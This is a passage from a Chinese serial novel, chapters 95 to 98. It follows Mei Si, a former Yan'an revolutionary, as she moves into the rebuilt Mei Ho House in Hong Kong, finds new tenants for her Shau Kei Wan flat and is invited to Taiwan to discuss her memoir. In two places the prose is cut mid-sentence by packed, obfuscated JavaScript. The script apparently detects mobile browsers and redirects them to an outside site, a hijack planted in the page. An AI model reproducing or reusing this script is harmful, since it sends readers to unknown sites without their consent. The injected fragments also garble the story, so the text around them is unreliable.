真的是累,做客累,推想接待客人自然更累,所以虽然二姐热情邀请,明年究竟是否再去,实在未知。 梅思在家中一连休息了三天,这才渐渐缓过劲来,有心情整理东西,打开旅行箱,里面的衣物不必清洗,都是干净的,大包小包是二姐给买的当地土产,乌鱼子、绿豆饼、蜂蜜,另外就是自己买的几本书。 把东西一样样摆在桌面,在箱子最底层,梅思取出一个塑料盒,染发膏,梅思哑然失笑,究竟是什么时候放进去的,自己竟不知道,二姐真的是“苦心孤诣”。 梅思把绿豆饼和蜂蜜分送了本地友好,乌鱼子特意送了给白明珠,白明珠一看:“好东西,很养人的,你这一回去台湾,滋润许多,面皮都细嫩了,果然那边水土好。” 又问:“你看台湾比香港怎样?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867882|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >梅思想一想:“风气还是比香港保守些。” 谈论政治问题很敏感的。 白明珠一拍大腿:“嗨,我是问你,那边行街买东西怎么样?都说台湾人现在有钱了,是这样么?” 梅思笑道:“倒是也还好吧,有洗衣机,有烤箱。” 二姐家中衣物清洗,都是用洗衣机的,自己的衣服,离去前一天,姪媳妇用洗衣机给洗得干干净净,又熨烫平整,厨房里一个大大的电烤箱,就在家里烤面包烤蛋糕,烤箱倒是罢了,洗衣机自己很是喜爱,将来年纪再大一些,难免用得到。 白明珠点点头:“倒是和香港差不多。啊,有拍照片么?” “拍了一些,什么时候太太和东妹姐去我那里,大家一起看照片。” 白明珠乐道:“你现在的那个地方,去了只怕给你添乱,究竟什么时候你那楼能弄好?等你搬回去,我过去安安稳稳谈天。” 梅思如今的住处,她自己都不过是临时居住,又是刚刚从台湾回来,哪里能够好好收拾?只等旧楼改建好,她有心情好好布置,自己再去看。 梅思也是有些急:“这才刚开工呢,房子里起房子,总得一年半载,我也是巴不得快一点搬回去,在外面不过住了这么一阵,就烦了,毕竟不是自己的地方,总不能安心。” 到这一年的年尾,徙置大厦的改建终于完成,传来通知给梅思,可以搬回去了,另外那一栋大厦也有了名字,“美荷楼”,梅思默默品味,倒是蛮雅致。 梅思找工友用了一辆推车,搬了些东西回去,主要是书,至于床柜之类,这次全换新的。 改建之后的美荷楼,房间虽然仍是不大,不过二百多尺,比起原来却扩了足足一倍,隔出小小的厨房和卫生间,还有一个客厅,这多出来的空间就可以摆许多东西,家什器具要重新规划,毕竟算是新屋,陈设也该换换,原本那些老物件,许多都是用了二三十年,掉漆掉皮,破旧得很了,梅思下定决心要换。 这一回的新家,着实合意,苏凤香一家搬走后,自己独居一间,虽然自在,终究狭小,厨房倒还罢了,卫生间也要到外面与人共用,当时虽然还可以忍,如今回顾,便感头痛,因此几天前拿了钥匙,回来查看,一看这布局,真是欣喜,分外珍惜,就像在台湾听到的那一首歌,“那儿有一座小小蜗居等待着我们踏着夕阳归去”。 因此梅思初次踏进房门,只看几眼,便痛下决心,全部家具换新,床和衣柜、斗柜都买新的,另外还要买冰箱,盼望了已久的冰箱啊,终于可以下手买了。 之后的一个月,梅思每个周末,都是跑商场,置办家用物件,直到过了年,元宵节也过了,二月底才终于大致齐备,请了白明珠和东妹来看,邹千里也来了。 白明珠一边踩着楼梯向上攀,一边放声笑:“啊呀梅小姐,总算等到这一天,是二楼,比lift还要好,爬几步就到,省了和人挤那么小小一个升降机,时常还要等。” 梅思抿着嘴笑:“因为我的年纪,给了我这个房间。” 二楼转眼便到,一进入客厅,东妹一眼看到贴墙那一台冰箱,登时睁圆双眼:“幺姐,你买这样大冰箱?” 对开的两扇门,撑天拄地,比人还高,转头再一望,墙角一个细长的衣柜,小小的,放不了几件衣服。 梅思笑道:“出街一次,多买些东西回来,免得总要出去。” 不是这样的冰箱,羊肉怎样放?一只羊总有几十斤肉,还不算骨头,羊骨也不能丢的,可以熬汤,羊骨高汤煮面片,再加一点葱花,那醇厚鲜美的滋味,实在难以言传。 白明珠望着冰箱也说:“这么一个大冰箱,大一点的箱柜都休想要摆放了。” 邹千里转着眼睛看:“好在她这里,别的物件少。” 麻将桌是不要想看到的了,对着铁架单人床,是一个书桌,床尾是书架,如同屏风般遮住了床,床上方的墙面上也钉了书架,冰箱对面则是一张餐台,四把小巧餐椅,除了书架,其她家具都小巧,况且本来东西也少,倒也不显拥挤。 白明珠惋惜:“怎么不买个沙发?” 坐着看书喝茶多舒服啊。 邹千里笑道:“能有电视,已经可称‘讲究享受’了。” 就在床对面的书桌上,摆着一台小小的电视机,梅思能买电视机,颇有点出乎邹千里的意料,梅思在他心目中,一直代表着苦修。 梅思笑嘻嘻走过去,抬手扭开了电视,东妹一看:“啊哟还是彩色的呢!幺姐,你的日子越过越好了!” 96.第九十六章 师奶来了 第九十六章 师奶来了 搬入新居之后好一段时间,梅思都觉得仿佛飘在云端,实在太过美好,烧饭如厕都不必到外面,此时再回想从前的生活,简直不知怎样过来。 自己已经很是幸运,夜壶可以放在梅林之中,早上起床再去共用厕所倾倒,其她的人,房间里摆马桶不是,不摆也不是,摆个马桶,不但占地方,而且那股味道啊,令人欲呕,若是不放一个,深夜里摸黑上厕所,也实在麻烦。 至于厨房,虽不像洗手间那样迫切,但能有也是好的,从前为了显示“融入社群”,三不五时总要到走廊里做饭烧水,如今不必那样假装,更何况虽然梅林之中能烧饭,总有不方便的时候,比如雨雪天,瓢泼大雨,又或是蒙蒙细雨,那就不如在房间里开火的好,所以家中有一个厨房,还是必要的。 时间倏忽就过了三年,一九八三年六月里,十号晚间,梅思吃过了饭,正在洗凉,洗手间虽然狭窄,好在除了冲水马桶,还可以加装淋浴器,洗凉的时候,把马桶的盖子盖上,就免除到处淋水。 她刚刚洗过了头发,正准备往身上擦香皂,陡然听到客厅一阵“叮铃铃”的声音,是电话铃声响。 梅思一颗心登时收紧,呼出一口气,放松一下,拿过大浴巾,匆匆包裹在身上,趿拉着拖鞋,带着一串水渍,便到了客厅,赶在电话铃停止之前,抄起了话筒:“喂?哪里?” 一个女声从对面传来:“梅小姐么?我是宝珍。” “啊,是戚太,刚刚下班回来么?吃过饭了么?” “谢谢,在外面吃过了。梅小姐,我是要和你说,我们的新屋很快就可以打理好,到下个月这个时候,就要搬走了。” 梅思对着听筒点点头:“这样快就要走了呀,还以为再要等多半个月。” 戚宝珍在对面笑:“工人赶工麻利,我们便搬得快,下个月十号刚好礼拜天,梅小姐拜托过来啊,我们交钥匙给你。” 两边又客气几句,梅思放下电话,重回盥洗室,继续洗凉,一边冲淋,一边叹气,三月里刚刚安了电话机,今天便听到这个消息。 其实倒并不惊异,戚宝珍和骆滨虹买了新屋,是早已知道了的,只如今她家搬迁在即,终不免让人伤感,今后未必找得到这样好的租客,租住长久,一住就是十几年,又很讲究干净,经常打扫,房租按时付,从不拖欠,人又好相处,如今却要走了,已经拜托经纪找下一家,不知新租客会如何。 七月十号,梅思大清早往筲箕湾去,真的是挤,自己是乘轮渡过去的,明明有陆路可通,却弄到仿佛是去台湾,当初是盼望修地铁,如今那地下铁正修着,地面上却是更挤了,也难怪戚宝珍要搬去沙田。 将近中午才到了那边,进了门,地面上摆着纸箱,都已经打包好,只等工友的车子过来,便要搬了,一家人都站在地上,捧着胶盒埋头吃饭。 一见梅思进门,戚宝珍抬起头:“呀,梅小姐,你来了,吃过了么?” 梅思摇头:“还没有。” 戚宝珍:“……锅碗都收起来了,光仔去买一份饭给梅小姐。” 梅思笑道:“不必了,我带了来。” 说着从皮包里取出一个很古老的铝饭盒,打开盖子,金灿灿鸡蛋碎的炒饭。 戚宝珍一看,这倒是“有备而来”。 梅思又拿出一壶水,骆滨虹在一旁瞧着,可真好,连水都有了,家里现在也确实不方便招待茶水。 吃过午饭后,双方交接,梅思把房屋各处查看一番,没有什么大问题,便带起钥匙,笑望着戚宝珍与骆滨虹:“恭喜恭喜,有那样宽敞的新房,这么多年打拼不易。” 骆滨虹微微苦笑:“倘若不是政府的扶助,也是买不起的。” “居者有其屋”啊,正适合自己这样的家庭,不是有钱到可以置业,也不是贫困到够格住公屋,就这样不上不下,有时候不由得便要讽刺,香港的所谓中产阶层,就是这样在中间卡着,这悬吊的人生啊,只好租房。 然而租屋来住也不容易,孩子已经长大,早晚要结婚,岳母前两年也搬来同住,家里人口增多,本来便住不下,梅小姐虽不是狠心的房东,这些年房租涨得算少的,到如今也不过一千六百块,可毕竟也要付租金,这些租金,本来可以用来自己买房的,越想越是肉痛,所以沙田穗禾苑的居屋一出来,便与太太商量买下一间,今后终于可以住在自己的房子里。 大家闲谈,再等一刻,货车到了,工友把家具物品一件件搬下去,过了一个多钟头,房间里空荡荡了。 梅思送她们下楼,顺手把最后一个纸袋带下去,戚宝珍站在车前,发出邀请:“入火那天务必来啊!” 梅思笑道:“一定一定。” 骆滨虹道:“这些年多蒙照顾。” 梅思一乐:“彼此彼此。” 双方分手,戚宝珍一家上了的士车,司机一踩油门,车子“嗖”地窜了出去,迅速就把梅思甩在了后面。 回望车后路边那一个小黑点,戚宝珍很有些惋惜地说:“很好的人,若不是有了自己的房产,原也舍不得搬家。” 骆滨虹点了点头:“房东难遇。” 这样的房东,从前很难设想真的存在,待人很客气的,不以房产自傲,身在社会多年,深有体会,每个月付租金,本来两不相欠,可是房东那嘴脸往往就是,施舍了天大的恩惠。 住在别人的房檐下,难免寄人篱下,梅小姐不是这样,对人很尊重的,在这一点上,她遵循自由市场的哲学,金钱交易,彼此是平等的,待人又很是热心,相处多年,早已经不止房东与租客的关系,每次逢年过节,来收租总带了东西来,不是秃黄油,就是梅酱梅酒,或者便是鲜笋,虽未必很贵重,难得她一片心意,梅酱尤其的好,蘸食烧鹅够味,自家也是投桃报李,每回梅小姐来了,必然留饭的,今天是唯一的例外,实在忙不开了。 戚宝珍道:“整理妥当后,也装一部电话机,得闲聊天。” 是一个很难得的人,自己年幼时,随处可见农田,经济远不及今日发达,街坊邻里却还有人情在,这些年香港放眼一望,满是高楼大厦,街头的人摩登新潮,牛仔裤喇叭裤,美国英国流行什么,这边很快便也有什么,可是却没了从前那份情意,开口便是钱,让人感到冷冰冰的,人生在世,没有钱确实不行啊,只是倘若只为了钱,却也觉得凉飕飕。 送走了戚宝珍一家,梅思很快便清理房屋,虽然搬得比较彻底,终究留下一些旧物,塑料盆塑料椅之类,梅思左思右想,把这些东西搬进了梅林,或许用得到,然后又找工友粉刷房屋,毕竟十几年过去,墙面灰黄,显得暗淡了,要招新租客,总要重新修缮一番才好。 梅思便在这边整整忙了一个礼拜,刷墙又油漆了地板之后,自己动手换了全新的水龙头和莲蓬头,又把电源插座换过,卧室插座板已经离了墙面,露出里面的电线。 全部整修一新,已经是十八号下午六点多,梅思实在没有力气烧饭,拖着步子走出lift,找到附近一家食店,望一眼门前招牌,“大家乐”,分店已经开在了筲箕湾。 在餐馆吃过了饭,梅思匆匆又转去左近一条街,并排几家房产行,走到第三家,小小一间门面,推门进去,里面依然是灯火通明,经纪们往来接待,一见她来了,一个油亮分头的男子立刻过来招呼:“有什么可以帮到您?……啊,是梅小姐,找娇姐么?” 梅思点点头:“罗生,麻烦你,翁小姐在么?” 罗生咧嘴笑笑:“她刚刚回来的,快请进去。” 梅思往里面一拐,是一间小办公室,翁美娇坐在里面,正在吃面,看到了她,忙放下筷子,站起身来:“啊呀梅小姐,快请坐!请喝茶,戚太搬走了?” 梅思坐下来点点头:“礼拜天那一天,她一家都走了,唉,想一想让人有点难过。” 翁美娇把茶杯放在梅思面前的桌面,笑道:“这就是‘天下无不散的宴席’,哪怕是租几十年,终究有一日要分散,不过也没什么,‘旧的不去,新的不来’,后面自然有新人补上,你那一间屋很好租的,刚刚又有人来问,大概晚上十点,梅小姐方便的话,我带甘生去看屋,尽管放心,都是可靠的人。” 梅思含笑道:“方便的,那个钟点还不曾睡。你带来的人,自然放心。” 然后转头望向四面:“这么多年努力,如今有这样一间门面,命运毕竟没有亏负人。” 翁美娇抄起筷子,挑几根面条,举在那里哈哈地笑:“二十年了,同行给面子叫一声‘娇姐’,这样一个小小店面,全凭伙伴帮衬,老朋友照应。” 就比如梅思,十几年后又来这里,房产出租只委托给自己一个人,自己自然不会辜负她,多年老相识,每次来收租,总会顺路弯到这边,喝茶说几句话,交情虽不怎样深厚,维持这么多年,却也不同。 梅思看着她筷子上的面:“快吃面吧,要凉了。” 翁美娇一笑:“你不是外人,我们就不用假客气。” 大口吞了几口面,又问道:“你还要在这边再打理一两天么?” 梅思摇头:“这几天就够我受的,现在已经全部弄好,明天就 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翁美娇忙得很,梅思也累了几天,便只略坐片刻,便回了那一间空屋,进入梅林烧了一壶茶,转回房间坐等。 但愿这一家能成,这几天一边重装房屋,一边也接待看房,实在有点烦了,后面虽然可以把钥匙给翁美娇,真正定下来,还要再来签合同,这样耗时的路途,跑一次很是吃力,只是却也知道,不能期望太高,为免落空懊丧,梅思便干脆把希冀抛开,随它去吧。 翁美娇说是十点,其实刚刚过了九点半,便在外面敲门:“梅小姐在么?看房。” 梅思本来已经有些挑不开眼皮,想着还不知要熬多久,听了这一声,脊椎一颤,登时精神了,站起身便去开门,门前是三个人,翁美娇,还有一双四十几岁的男女,那男子想来就是甘生。 翁美娇乐呵呵向她说:“梅小姐,打扰打扰,甘生和鱼太一同来看房。” 女子哈哈地笑:“啊哟翁小姐真是客气,什么‘鱼太’?梅小姐,你叫我‘鱼师奶’就好。” 梅思心念一转,含笑道:“鱼师奶嫁得好丈夫,甘生有本事。” 甘道文动了动嘴唇,正要说点什么,鱼桂蓉的话已经出口:“啊呀你不要高抬他,他算什么本事?做了这么多年,不过是个小小的经理,人家鱼翅捞饭,我们粗茶淡饭,给公司调到这样的地方,若不是开发业务新工厂,简直以为是流放,从筲箕湾到荃湾,实在不好每天搭车通勤,累也要累死人,他这样职位,又不好住工人的宿舍,只好在这里给他租一间屋,不要大,只要干净方便,日常只是他一个人住,我们一家都在荃湾,呀让我们看看房,老公你快进来看!” 甘道文笑一笑,随在她后面,穿过客厅走进卧室。 翁美娇紧随其后,各个房间指点:“南边的窗户,通光很好的,八楼又通风,不高不低……墙面地板多干净,龙头花洒都是簇新的呢,五六年都没有问题……三百五十尺,三四个人住都容得下,一个人便是豪宅,以后鱼师奶休息日带孩子过来,全家度假……” 鱼桂蓉放声笑起来:“到这边来度假么?看看海倒是也好。” 翁美娇连忙说道:“这边的海水好,今天是晚了,明天若是还在这里,到海滩走走,比维多利亚港漂亮得多,住自己家里也便宜,住酒店要多少钱呢?筲箕湾梭子蟹好……等地下铁通了,往来方便。” 鱼桂蓉神情微妙,似笑非笑:“却也有道理。” 维多利亚港的酒店啊,哪忍心花钱去住呢?虽然自己家中确实不差这个钱,但有钱也不是这样花法,都是老公辛辛苦苦赚来的,家中两个仔一个女都要读书,自己主管家计须得节俭,假日里带着孩子来这边住一两天,玩一玩确实也还好,三百五十尺,虽不是很宽敞,五个人短短住几天,还不嫌太挤。 鱼桂蓉眼神四下一扫:“没有床柜。” 梅思道:“原来的房客住了十几年,是她自己的家具,搬家时都料理了,你们若是需要,我去买来。” 鱼桂蓉想一想:“那不必了,我们自己置办,你把租金再降降。” 梅思摇头:“已经很便宜。” 翁美娇帮衬:“啊呀呀鱼师奶,你们也看了几天,晓得行情的,这附近的房子,哪怕不带家私,都要一千七八,这一间只要一千六百块,实在心水,划算得很,位置好,房子好,去工厂只几步路,踩单车很快的,错过了不容易再遇。” 鱼桂蓉里里外外看了三遍,又拉着甘道文到一旁,头碰头商量了几分钟,转过头来干脆地说:“好了,就定下这一间,梅小姐,以后多关照。” 97.第九十七章 台湾邀约 第九十七章 台湾邀约 梅思本来是想十九号礼拜二便回石硖尾,哪知十八号晚上订下合同,十九号交接钥匙,带了鱼桂蓉各处走走看看。 她虽然平日不住在这里,毕竟是自己的产业,十几年了,周边也还熟,菜场银行全知道,旧货市场也晓得,有她陪伴,鱼桂蓉一天之内,便把房屋中需要的物件置办得七七八八。 家具很简单,一张双人木板床,一只小餐桌,两把椅子,都是在同一个家具行买来,门边一个简单的鞋架,是从旧货市场淘来,另外就是厨房里的东西。 十九号,甘道文晚间下了班,过来看了看:“买铲子炒锅做什么?又不打算开火的。” 自己每天上班,早起晚归,哪有时间烧饭?就算有一点点空闲,也不打算自己煮食,实在弄不来,这么一点闲暇,自己还读读书呢,学习一下英文。 鱼桂蓉连连摆手,好像在撵苍蝇:“啊呀,租了这么一间屋,难道只你一个人住?我三天五日必然要过来的,顺便烧烧饭,再洗一下衣裳,不然的话,你那些脏衣服堆在这里,等礼拜天拿回家,早熏臭了房子。” 甘道文笑:“劳碌你。不过买砂锅做什么?” 烧饭有煮锅炒锅足够了,何必要买砂锅?倒仿佛真的要在这边安家一样。 鱼桂蓉道:“煲鱼头汤给你喝啊,你管着那么多事情,很费脑力的,喝鱼头汤补一补,你的身体要紧,不能轻忽。” 甘道文笑着摇头:“外面有得卖。” 如今大家在外面吃饭,已经很寻常,尤其是两个人都有职业的情况。 鱼桂蓉哼了一声:“食店里的东西,怎么能与家里烧的相比?况且终究贵过自己买来烧,啊呀懒得和你讲。梅小姐,今天多亏你,陪着我买这买那,你在这边忙了一个礼拜,脸都累得白了,今天忙到这样晚,也不得回家去,明天可该回去好好休息一下。” 梅思笑道:“我大约明天早上便回去了,鱼师奶你也辛苦,要回家去么?” 鱼桂蓉晃一下头:“下午才回去,还要再料理一下。” 当晚,梅思依然是与鱼桂蓉一起睡在屋中,甘道文睡办公室,这是他颠沛流离的最后一日,到明天,这边布置好,他就可以搬过来住。 次日清晨,早饭之后,梅思又与鱼桂蓉一起,到家具行逛一圈,回来后已经十点多,梅思便提出告辞:“我回去了,这边余下的都靠你了。” 鱼桂蓉呵呵地笑:“已经很感激帮忙。” 小小一间房,虽然简单,真要仔细打理却也费时间,原本空空荡荡,真正是“白手起家”,只用一天多一点的时间,便布置得像了样子,多亏梅小姐帮手,否则自己再怎样能干,也要累个半死,师奶的生活不是那样轻松自在。 梅思走后,鱼桂蓉把窗玻璃又擦一遍,便进了厨房。 中午十二点过一点,门一开,甘道文提了一个旅行袋进来,往四处一望:“梅小姐回去了么?” 鱼桂蓉笑道:“不回去,还等在这里帮忙烧中饭?” 甘道文也失笑:“真是有劳她,翁小姐没有敷衍我们,是个好房东。” 前两天订合同的时候,翁小姐看着双方签了字,她自己也签字,然后把合同拆开来,分别递给双方,乐呵呵说:“甘生鱼师奶,一看就是诚实可靠的人,梅小姐是百里挑一的好房东,你们两边一定相处愉快。” 当时自己并未信真,以为是经纪惯常的溢美之词,自己这边当然诚实可靠,梅小姐未必百里挑一,翁小姐与梅小姐相识多年,只怕难免偏向她一些。 只是这两天发现,真的是好人,帮忙到今天,昨天晚上自己虽然睡办公室,其实是心中所愿,上了一天班,晚上回来还要收拾房屋,实在很烦,住办公室倒是落得清静,这边有梅小姐帮忙,也不至于老婆太过劳累,于是甘道文认识了梅思,是个热情的人。 鱼桂蓉很快从厨房端出饭菜,两个人吃饭,甘道文视线一扫:“没有衣柜。” 鱼桂蓉道:“早上已经订下来,下午送过来,衣服就可以放进去。冰箱下午也要来了,晚饭我会烧好,给你留在冰箱里,你下班自己热热吃吧,唉,该给你买个微波炉,热饭菜方便。” 甘道文筷子停在空中,有些怅然:“你下午便走了么?” 鱼桂蓉抬起头笑道:“不然呢?家里几个仔,也不能总是托阿妈照看,只可惜不能买梭子蟹,这样热天气,带回那边都臭掉,这该死的巴士。” 甘道文想一想:“微波炉就不要买了,也不会有多少饭菜要热。” 鱼桂蓉笑起来:“你以为我那冰箱是白买的?每次过来,我给你多烧一点菜,冷冻在那里,你要吃的时候,就拿出来放微波炉,几分钟就可以吃了。这一回来不及了,下次我买来菜肉,包些包子冻起来,你早上就可以热包子来吃,再冲一杯牛奶,就很好了,食堂总吃会腻烦,也能省餐费,况且你又爱熬夜,晚上拿来当夜宵也好……” 甘道文笑道:“你真是越来越精明能干。” 香港的师奶,各个都是犀利干练的,以管理公司的才能来管理家庭,压缩成本,提高收益,相当的厉害,放大一点说,香港能有今日的繁荣,少不了师奶们的支撑。 鱼桂蓉哈哈大笑:“这两天和梅小姐谈天,聊出许多点子,为了省时间,她也是挖空心思。” 真的是很能琢磨,不耐烦总是煮饭,就煮出一锅来,分成几份收在冰箱里,后面慢慢吃,又或者拌面拌饭打发,配水煮的青菜鸡蛋加蚝油,营养均衡,又容易刷锅洗碗。 昨天晚上两个人睡在地上,聊到很晚,梅小姐对微波炉满怀向往:“将来有机会,一定买一台,热饭菜方便。” 自己便笑问:“现在怎么不买?” 昏黑之中梅小姐仿佛摇头:“地方不够。” 自己本来的意见是:“我总是觉得,饭菜还是吃新鲜的好,冷冻的东西,我家里是不碰的。” 然而马上便想到:“只是如今我老公独个在外面住,他自己不烧饭的,免不了只能这样。” 甘道文一乐:“梅小姐很有趣。” 除了是个好人,也是个有意思的人,梅小姐看起来不像是做房东的人,有点清高,带了书香门第的气息,第一眼便感到不配合香港的地气,香港是一个充满了金钱气氛的地方,在文化人的眼里,或许庸俗市侩吧,不知梅小姐是怎样评价香港的这种味道,但总觉得有点不能相合,更难想象她会对日常事务如此用心,想尽办法图便利,她那样的人,倘若谈论文学,是不让人意外的,哪知和自己的老婆却是满口说的快手烹饪。 鱼桂蓉笑眯眯:“是啊,真的很好,我就爱和这样的人聊天,越聊越有劲。” 师奶最喜欢和师奶说话,交流打点家事的本领,梅小姐虽然不是师奶,却也有一套,和她闲谈,能敲击出意外的点子。 甘道文午饭之后,匆匆赶回工厂,梅思这个时候则是摇晃在轮渡上,一直到下午两点钟,才回到石硖尾。 进入家中,第一件事是从冰箱里取出羊肉包子,点燃煤气灶,把包子放进加了水的蒸锅,再从饭厅拖过一把餐椅,便坐在厨房门前,等包子加热。 实在站不住,这一个多礼拜,腰酸背痛,为了赶工,也为了省钱,墙面刮平粉刷之后,地板是她自己动手刷,门上的漆也是自己刷的,况且晚上睡在地上,七月里天气炎热,打地铺的确不担心着凉,但看一看自己铺在地板上的,一条是草席,另一条也是草席,虽然两条草席终究更软一点,但却也不过是草席,更何况昨天晚上还分给鱼桂蓉一条,所以熬到今天,梅思感到自己的腰如同烤脆的竹节,轻轻一折就要断掉。 梅思捶着腰,眼望着锅,只盼快一点冒汽,几分钟后,锅盖缝果然溜出一缕白色蒸汽,梅思关了火,又等了五分钟,终于揭开盖子,把包子拣到盘子里,喘着粗气吃了包子,然后把盘子放进洗碗槽,拖着步子走进盥洗间,站在莲蓬头下,用热水淋了一遍身体,关水把浴巾往身上一裹,就算擦干了,她走出浴室,回到卧室兜头套进睡袍里,便把身体重重往床上一倒。 累啊,实在是累,再不能坚持多一分钟,整个身体的力量都给抽干了,消耗殆尽,毕竟六十岁的年纪,不能与年轻时相比,这一个礼拜,自己早上六点起床,晚上十一二点才休息,简直好像急行军一样,特别的紧张,很多年没有经历过这样的辛苦,便格外的不能习惯,当年在延安,这样的劳作算什么呢?这一回修缮房屋,相当多时间是看着工友在忙啊! 身体极度疲倦,头脑却不肯安静,各种念头交错,极其混乱,梅思很渴望睡眠,只是一时却难以入睡,就这么混了好一阵,这才朦朦胧胧睡去。 也不知睡了多久,忽然间耳边吵闹的铃声响起,响过一阵,停了,又响,这一回愈发刺耳,梅思终于给吵得醒了过来,睁开眼睛,房间里已经一片黑暗,她摸索着起床开了灯,踉踉跄跄去餐桌边拿起电话,冲着里面“喂”了一声。 对面是柏翠的声音:“啊哟小妹,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“原来是这样,你那个性子,一口气不干完不肯干休的,又凡事爱自己做,定然累到骨头都要断掉,又是这个年纪,这一番大伤元气,可得痛快歇几天,才能缓过这一口气。啊小妹,我有件事和你说,你这几天方不方便来台湾?” 梅思的脊柱登时便绷直了:“二姐,什么事?” 往年都是十一月十二月过那边,天气凉爽,路途安适,那个季节泡温泉也更舒服,今年怎么忽然提前到这个时候?七月酷暑,等闲不愿往远处跑。 柏翠在那边急促迸出一串字来:“你二姐夫的同僚,专门研究中共的历史,听说了你,读了你当年的日记,想和你好好聊一聊,如果可以,就请你再写一本书,对方帮忙联系出版呢,所以现在就希望你能过来,刚好暑假要到了,有空长谈。” 梅思愣了一下:“台湾已经可以出这样的书么?” 依然还是在戒严啊,审查很是严格的。 “啊哟小妹,这不是你需要操心的事,他们自有办法,况且当年你的日记能在这边卖,这一回想来便也可以,今时不同往日,出本书没什么的。小妹,你可不要糊涂,这是个好机会,要抓住,倘若能出书,便有一笔稿费,你虽然有房子出租,不过应付日常,钱多一点总不是坏事,又能够成名,也不白费你从前受的那些罪。” 梅思仍有些犹豫:“只是我倘若在台湾出这种书,难免给人猜疑。” 怎么能够和国民政府合作? 柏翠额头简直要迸出火星来:“哎呀我的妹妹,你怎么还是这样固执?总是烦恼那些没要紧的事,不过谈谈往事,出出书而已,哪里需要想这样多?况且这件事也未必定准,许教授倒是说过,倘若可以的话,便替你推荐到出版社,谁知成不成?你倒是先担心起这个来,就算真的出了,究竟有几个人看?哪有那样轩然的波澜?你倒是真想的挺多。” 梅思:是啊,好像自己有一点太瞧得起自己,上一次的《延安日记》,虽说卖到了台湾,其实并没有很多人在读,也没有赚许多的钱,要说自己写到今天,卖得最好的还是那一本《青山遮不住》,情节夸张,是革命版本的浪漫小说,琼瑶的本子披了红色的封皮。 柏翠在那边连连说着:“小妹啊,出书这件事就先不说,好一阵不见,实在想念,你就过来住一阵,姐妹谈谈天也好,毕竟又不远,坐船几个小时就到了,你打理房产辛苦,过来泡泡温泉,松一松筋骨。” 梅思笑着望了一眼漆黑的窗外,就这大热天,不用泡温泉,我这骨头也是软的。 “二姐,我晓得了,等我歇息两天,买票过去。” “一定要来啊!” 梅思咯咯乐着答应了,二姐这是生怕自己不肯去啊。 又聊了几句,叮嘱她赶快吃饭,柏翠挂断了电话,跨岛的电话费贵啊,虽然是教授夫人,柏翠也不能尽情打电话,只盼着姊妹相会再细谈。 梅思把话筒放回架上,伸了个懒腰,居然睡到这个时候,刚起床还不觉得,现在身体空荡到心里发慌,赶快烧饭吃要紧。 98.第九十八章 四十年后回忆录 第九十八章 四十年后回忆录 高雄市区内一栋公寓楼中,宽敞明亮的客厅里,冷气机呜呜地转动,为灼热的七月送来清凉。 许卓瑛为客人递上一杯清茶,笑着说:“梅小姐对两党有怎样的比较?” 何思连坐在一旁,端着茶杯,瞥了她一眼,暗道许教授,你真的是直接啊,坐下来第一句就是问这个,都不再寒暄几句的,倒是文人学者的本色,清高,不耐烦交际,一心做学问,不过你这话题转折也太快了一点,劈面就入正题啊! 梅思也微微一愕,倘若是当年在延安,并不会以为奇怪的,那样一个热血沸腾的氛围啊,炽热的革命激情让整个天地都成为一个巨大的熔炉,把一块块粗糙的矿石炼成精粹的钢铁,为着中国人民,乃至全世界无产者的解放而奋斗,急切于工作,是并不罕见的,丝毫不让人意外,如今毕竟是在资本主义的世界里住得久了吧,竟然不习惯这样的直截了当。 略一思忖,梅思答道:“延安飒爽英姿,让女人不要当女人;国统区让女人彻底成为女人,只是女人。” 女子大学的生活,是多么的振奋啊,“早操的口令,上课的号声,点名后的口号,雄壮的歌声,慷慨的训话”,不在其中的人,怎么能够知道,“我们的生活是如何地快乐,如何地有纪律有精神吗?”真正是“不爱红装爱武装”,年少时代的自己,最是鄙薄脂粉气,矫揉造作,不过是花瓶,供人玩弄的物件,于国家于自己都只有害无益,真正觉悟了的女子,就应该投身于革命的红潮之中。 所以初见到主席的那一首诗,“飒爽英姿五尺枪,曙光初照演兵场。中华儿女多奇志,不爱红装爱武装”,自己反复吟咏,追忆二十年前延河边女大的生活,恍如隔世,无限怅惘,主席对女子解放的寄托,又出现在脑海中: “妇女解放,突起异军,两万万众,奋发为雄。男女并驾,如日方东,以此制敌,何敌不倾?到之之法,艰苦斗争,世无难事,有志竟成。有妇人焉,如旱望云,此编之作,伫看风行。” 是《中国妇女》创刊的时候,主席的题词,自从开学大会上听了教育长的鼓励,自己休息日特意到图书室里,从旧杂志中翻出这一本来看,三年前印刷,旁人早已看过,一直压在那里,已经落了厚厚的灰尘,是尘封的宝石,自己如获至宝,把这几句话郑重抄在日记本上,牢牢记忆下来,每当困苦艰难,感觉要禁受不住,便默默念诵,女子是可以如同男子一般顽强的,忘记自己是一个女人,便什么都不必惧怕。 终究也有实在气馁的时候,沮丧之中便想到《莎菲女士的日记》,“不过是一个女性十足的女人”。 难以想象丁玲女士也曾经这样,充满女人味,在延安见到的丁玲女士,一身灰布军装,十分朴素,想来很少用雪花膏,黄土高原一年不停干燥的劲风,吹得皮肤粗糙了,在女大的课堂上,讲课声音很洪亮,说到得意的地方,大声笑起来,从口袋里取出烟卷,点着火便吸,大口大口吸进吐出,挥舞着手臂,卷烟头的红火星一闪一闪,很是豪迈地议论:“写作不单是个人抒发情感,写作是政治,文学是属于大众的,大众的艺术,只有取得大众的理解,文艺作品才能够伟大……” 来到香港,在图书馆看到这本书,很早的版本,上面有丁玲女士的照片,当时还很年轻,是青年女子特有的清秀,文静含蓄,与后来所见的豪放截然不同。 